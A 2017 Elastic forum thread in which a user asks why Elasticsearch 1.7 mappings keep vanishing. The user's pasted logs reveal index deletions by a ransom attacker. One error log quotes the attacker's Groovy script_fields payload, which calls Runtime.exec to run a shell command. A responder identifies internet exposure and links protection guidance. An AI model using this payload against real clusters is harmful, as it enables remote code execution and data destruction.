# \[1.7\] mapping erased **URL:** \ **Category:** Elasticsearch\ **Created:** [January 16, 2017, 12:56pm UTC](https://discuss.elastic.co/t/1-7-mapping-erased/71733 "2017-01-16T12:56:50Z")\ **Posts on this page:** 7\ **Page:** 1
**Author:** ![Ugo\_Bourdon](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/ugo_bourdon/32/10725_2.png) [@Ugo\_Bourdon](https://discuss.elastic.co/u/Ugo_Bourdon)\ **Post date:** [January 16, 2017, 12:56pm UTC](https://discuss.elastic.co/t/1-7-mapping-erased/71733/1 "2017-01-16T12:56:50Z")
Hi, I use epxlicit mapping in my elastyicsearch but sometimes, this mapping was erased and data are indexed with default mapping. Have any tips on the cause of that ? ---
**Author:** ![Ugo\_Bourdon](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/ugo_bourdon/32/10725_2.png) [@Ugo\_Bourdon](https://discuss.elastic.co/u/Ugo_Bourdon)\ **Post date:** [January 16, 2017, 1:10pm UTC](https://discuss.elastic.co/t/1-7-mapping-erased/71733/2 "2017-01-16T13:10:37Z")
I have a lot of log error of this kind : ``` [2017-01-15 10:02:04,974][DEBUG][action.search.type] [AnstelProd] All shards failed for phase: [query] org.elasticsearch.search.SearchParseException: [perf_immo_prod_idxtickets][4]: from[-1],size[-1]: Parse Failure [Failed to parse source [{"script_fields": {"iswin": {"lang": "groovy", "script": "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class). newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream. class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"rm -rf wget\"). getInputStream())).readLines()"}}, "size": 1}]] at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747) at org.elasticsearch.search.SearchService.createContext(SearchService.java:572) at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544) at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306) at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231) at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228) at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:745) Caused by: org.elasticsearch.script.ScriptException: scripts of type [inline], operation [search] and lang [groovy] are disabled at org.elasticsearch.script.ScriptService.compile(ScriptService.java:285) at org.elasticsearch.script.ScriptService.search(ScriptService.java:483) at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:79) at org.elasticsearch.search.SearchService.parseSource(SearchService.java:731) ... 9 more ``` ---
**Author:** ![Ugo\_Bourdon](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/ugo_bourdon/32/10725_2.png) [@Ugo\_Bourdon](https://discuss.elastic.co/u/Ugo_Bourdon)\ **Post date:** [January 16, 2017, 1:12pm UTC](https://discuss.elastic.co/t/1-7-mapping-erased/71733/3 "2017-01-16T13:12:41Z")
and i find this log too : ``` [2017-01-16 04:14:21,031][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxcontacts] deleting index [2017-01-16 04:14:21,047][INFO][cluster.metadata] [AnstelProd] [warning] deleting index [2017-01-16 04:14:21,053][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] deleting index [2017-01-16 04:14:28,783][INFO][cluster.metadata] [AnstelProd] [pleasereadthis] creating index, cause [api], templates [], shards [5]/[1], mappings [] [2017-01-16 04:15:15,399][INFO][cluster.metadata] [AnstelProd] [pleasereadthis] deleting index [2017-01-16 04:15:23,759][INFO][cluster.metadata] [AnstelProd] [pleasereadthis] creating index, cause [api], templates [], shards [5]/[1], mappings [] [2017-01-16 04:20:28,316][INFO][cluster.metadata] [AnstelProd] [pleasereadthis] deleting index [2017-01-16 04:25:18,530][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] creating index, cause [auto(index api)], templates [], shards [5]/[1], mappings [ticket] [2017-01-16 04:25:18,608][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 04:25:18,722][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 04:41:28,744][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 04:41:28,864][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 04:43:39,891][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 05:20:27,552][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] deleting index [2017-01-16 05:20:27,610][INFO][cluster.metadata] [AnstelProd] [pleasereadthis] creating index, cause [api], templates [], shards [5]/[1], mappings [] [2017-01-16 05:25:47,227][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] creating index, cause [auto(index api)], templates [], shards [5]/[1], mappings [ticket] [2017-01-16 05:25:47,279][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 05:25:47,501][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 05:25:47,600][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 05:31:16,302][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 05:31:16,455][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 05:33:28,116][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 05:33:28,249][INFO][cluster.metadata] [AnstelProd] [perf_immo_prod_idxtickets] update_mapping [ticket] (dynamic) [2017-01-16 05:48:35,936][DEBUG][action.search.type] [AnstelProd] [perf_immo_prod_idxtickets][2], node[6mZzUQGpRjaIF9XSUqlNzg], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@5fe6068e] lastShard [true] ``` ---
**Author:** ![dadoonet](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/dadoonet/32/137187_2.png) [@dadoonet](https://discuss.elastic.co/u/dadoonet)\ **Post date:** [January 16, 2017, 1:22pm UTC](https://discuss.elastic.co/t/1-7-mapping-erased/71733/4 "2017-01-16T13:22:45Z")
Is your server exposed on internet? ---
**Author:** ![dadoonet](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/dadoonet/32/137187_2.png) [@dadoonet](https://discuss.elastic.co/u/dadoonet)\ **Post date:** [January 16, 2017, 1:24pm UTC](https://discuss.elastic.co/t/1-7-mapping-erased/71733/5 "2017-01-16T13:24:15Z")
Apparently it is. > [@Ransom attack on Elasticsearch cluster?](https://discuss.elastic.co/t/ransom-attack-on-elasticsearch-cluster/71310/14): > > Read [https://www.elastic.co/blog/protecting-against-attacks-that-hold-your-data-for-ransom](https://www.elastic.co/blog/protecting-against-attacks-that-hold-your-data-for-ransom) ---
**Author:** ![Ugo\_Bourdon](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/ugo_bourdon/32/10725_2.png) [@Ugo\_Bourdon](https://discuss.elastic.co/u/Ugo_Bourdon)\ **Post date:** [January 16, 2017, 2:00pm UTC](https://discuss.elastic.co/t/1-7-mapping-erased/71733/6 "2017-01-16T14:00:52Z")
Ah oui c'est balo. Merci pour l'info. ---
**Author:** ![system](https://us1.discourse-cdn.com/elastic/original/3X/1/a/1ac57faf039f6b580b3f104ef42a2a89e41014de.png) [@system](https://discuss.elastic.co/u/system)\ **Post date:** [February 13, 2017, 2:01pm UTC](https://discuss.elastic.co/t/1-7-mapping-erased/71733/7 "2017-02-13T14:01:11Z")
This topic was automatically closed 28 days after the last reply. New replies are no longer allowed.